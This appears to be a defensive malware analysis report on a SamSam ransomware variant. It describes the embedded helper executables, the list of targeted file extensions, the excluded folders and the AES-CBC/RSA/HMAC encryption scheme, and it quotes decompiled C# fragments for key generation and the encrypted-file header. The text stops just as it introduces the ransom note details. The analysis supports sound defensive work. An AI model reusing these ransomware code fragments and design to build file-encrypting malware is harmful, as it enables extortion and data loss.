Description

This file is a 32-bit Windows .NET compiled executable designed to encrypt victim system files for a ransom payment. This file is a variant of SamSam ransomware. It contains two embedded 32-bit Windows executables in its resource section:

--Begin resource--
"samsam.del.exe" ==> del.exe (SDelete) designed to securely delete files
"samsam.selfdel.exe" ==> selfdel.exe designed to delete the SamSam ransomware from the victim’s system
--End resource--

It installs the embedded files into the following directory:

--Begin files installed--
%Currentdirectory%\del.exe
%Currentdirectory%\Selfdel.exe
--End files installed--

This file is designed to accept an input text file as the command line argument. The input text file contains an RSA public key in the following format:

--Begin RSA public key--
"<RSAKeyValue><Modulus>Base64 encoded RSA public key</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"
--End RSA public key--

The input text file was not available for analysis.

Displayed below is the code snippet designed to accept an input text file as the command-line argument:

--Begin command line argument--
private static void Main(string[] args)
{
   if (args.Length != 1)
   {
       return;
   }
   if (!string.IsNullOrEmpty(args[0]))
   {
       Program.publickey = File.ReadAllText(args[0]);
   }
   Program.create_from_resource();
--End command line argument--

It searches the drives installed on the victim system for files with the following file extensions:

--Begin file extensions--
"xls",".xlsx",".pdf",".doc",".docx",".ppt",".pptx",".txt",".dwg",".bak",".bkf",".pst",".dbx",".zip",".rar",".mdb",".asp",".aspx",".html",".htm",".dbf",".3dm",".3ds",".3fr",".jar",".3g2",".xml",".png",".tif",".3gp",".java",".jpe",".jpeg",".jpg",".jsp",".php",".3pr",".7z",".ab4",".accdb",".accde",".accdr",".accdt",".ach",".kbx",".acr",".act",".adb",".ads",".agdl",".ai",".ait",".al",".apj",".arw",".asf",".asm",".asx",".avi",".awg",".back",".backup",".backupdb",".pbl",".bank",".bay",".bdb",".bgt",".bik",".bkp",".blend",".bpw",".c",".cdf",".cdr",".cdr3",".cdr4",".cdr5",".cdr6",".cdrw",".cdx",".ce1",".ce2",".cer",".cfp",".cgm",".cib",".class",".cls",".cmt",".cpi",".cpp",".cr2",".craw",".crt",".crw",".phtml",".php5",".cs",".csh",".csl",".tib",".csv",".dac",".db",".db3",".db-journal",".dc2",".dcr",".dcs",".ddd",".ddoc",".ddrw",".dds",".der",".des",".design",".dgc",".djvu",".dng",".dot",".docm",".dotm",".dotx",".drf",".drw",".dtd",".dxb",".dxf",".dxg",".eml",".eps",".erbsql",".erf",".exf",".fdb",".ffd",".fff",".fh",".fmb",".fhd",".fla",".flac",".flv",".fpx",".fxg",".gray",".grey",".gry",".h",".hbk",".hpp",".ibank",".ibd",".ibz",".idx",".iif",".iiq",".incpas",".indd",".kc2",".kdbx",".kdc",".key",".kpdx",".lua",".m",".m4v",".max",".mdc",".mdf",".mef",".mfw",".mmw",".moneywell",".mos",".mov",".mp3",".mp4",".mpg",".mrw",".msg",".myd",".nd",".ndd",".nef",".nk2",".nop",".nrw",".ns2",".ns3",".ns4",".nsd",".nsf",".nsg",".nsh",".nwb",".nx2",".nxl",".nyf",".oab",".obj",".odb",".odc",".odf",".odg",".odm",".odp",".ods",".odt",".oil",".orf",".ost",".otg",".oth",".otp",".ots",".ott",".p12",".p7b",".p7c",".pab",".pages",".pas",".pat",".pcd",".pct",".pdb",".pdd",".pef",".pem",".pfx",".pl",".plc",".pot",".potm",".potx",".ppam",".pps",".ppsm",".ppsx",".pptm",".prf",".ps",".psafe3",".psd",".pspimage",".ptx",".py",".qba",".qbb",".qbm",".qbr",".qbw",".qbx",".qby",".r3d",".raf",".rat",".raw",".rdb",".rm",".rtf",".rw2",".rwl",".rwz",".s3db",".sas7bdat",".say",".sd0",".sda",".sdf",".sldm",".sldx",".sql",".sqlite",".sqlite3",".sqlitedb",".sr2",".srf",".srt",".srw",".st4",".st5",".st6",".st7",".st8",".std",".sti",".stw",".stx",".svg",".swf",".sxc",".sxd",".sxg",".sxi",".sxi",".sxm",".sxw",".tex",".tga",".thm",".tlg",".vob",".war",".wallet",".wav",".wb2",".wmv",".wpd",".wps",".x11",".x3f",".xis",".xla",".xlam",".xlk",".xlm",".xlr",".xlsb",".xlsm",".xlt",".xltm",".xltx",".xlw",".ycbcra",".yuv"
--End file extensions--

The malware avoids encrypting files in the "Windows", "Reference Assemblies\\Microsoft", and "Recycle.bin" folders:

Displayed below is the code snippet used to avoid encrypting files in the folders:

--Begin code--
if (path != Program.sysdir + "Windows" && !path.Contains("Reference Assemblies\\Microsoft") && !path.Contains("Recycle.Bin"))
--End code--

It randomly generates the following keys for encrypting the target files:

--Begin randomly generates keys--
AES key (16 bytes)
AES IV (16 bytes)
Signature key (64 bytes) for SHA256 HMAC key calculation
--End randomly generates keys--

Displayed below is the code snippet for generating the unique keys for a target file:

--Begin key generation--
public static string Encrypt(string plainFilePath, string encryptedFilePath, string manifestFilePath, string rsaKey)
{
   byte[] signatureKey = encc.GenerateRandom(64); ===> HMAC key
   byte[] key = encc.GenerateRandom(16); ==> Rijndael key
   byte[] iv = encc.GenerateRandom(16); ==> Rijndael IV
   encc.EncryptFile(plainFilePath, encryptedFilePath, key, iv, signatureKey, rsaKey);
   return null;
--End key generation--

It reads the target file into memory and encrypts it using an AES algorithm in CBC mode with the generated AES keys. The encrypted data from the original file is stored into a newly created file. This file has the same name as the original file, but has an ".encryptedRSA" extension. The ransomware calculates a SHA-256 HMAC of the encrypted data of the file.

The generated keys are encrypted using the RSA public key from the key file. The malware Base64 encodes and prepends the following data in XML format at the beginning of the encrypted file:

--Begin Base64 encodes data--
AES key, encrypted with RSA public key
AES IV, encrypted with RSA public key
SHA-256H MAC of the encrypted file data
HMAC key, encrypted with RSA public key
--End Base64 encodes data--

Displayed below is the code used to RSA encrypt and Base64 encode the data prepended at the beginning of each encrypted file.

--Begin encrypting and encoding--
byte[] inArray = encc.CalculateSignature(encryptedFilePath, signatureKey);
string text = Convert.ToBase64String(encc.RSAEncryptBytes(key, rsaKey));
string text2 = Convert.ToBase64String(encc.RSAEncryptBytes(iv, rsaKey));
string text3 = Convert.ToBase64String(inArray);
string text4 = Convert.ToBase64String(encc.RSAEncryptBytes(signatureKey, rsaKey));
string str = string.Concat(new object[]
{
   "<MtAeSKeYForFile>",
   encc.sn,
   "<Key>",
   text, ==> Base64 encoded AES key, encrypted with RSA public key with OAEP padding
   "</Key>",
   encc.sn,
   "<IV>",
   text2, ==> Base64 encoded AES IV, encrypted with RSA public key with OAEP padding
   "</IV>",
   encc.sn,
   "<Value>",
   text3, ==> Base64 encoded SHA-256 HMAC of the encrypted file data
   "</Value>",
   encc.sn,
   "<EncryptedKey>",
   text4, ==> Base64 encoded HMAC key, encrypted with RSA public key with OAEP padding
   "</EncryptedKey>",
   encc.sn,
   "<OriginalFileLength>",
   fileInfo.Length, ==> The length of the original file
   "</OriginalFileLength>",
   encc.sn,
   "</MtAeSKeYForFile>"
});
--End encrypting and encoding--

Following the encryption of the victim’s files, the ransomware executes "selfdel.exe" to delete itself from the system and installs the ransomware note "HELP_DECRYPT_YOUR_FILES.html” onto the victim’s system.

Displayed below is the embedded blog and Bitcoin address for the ransomware note:
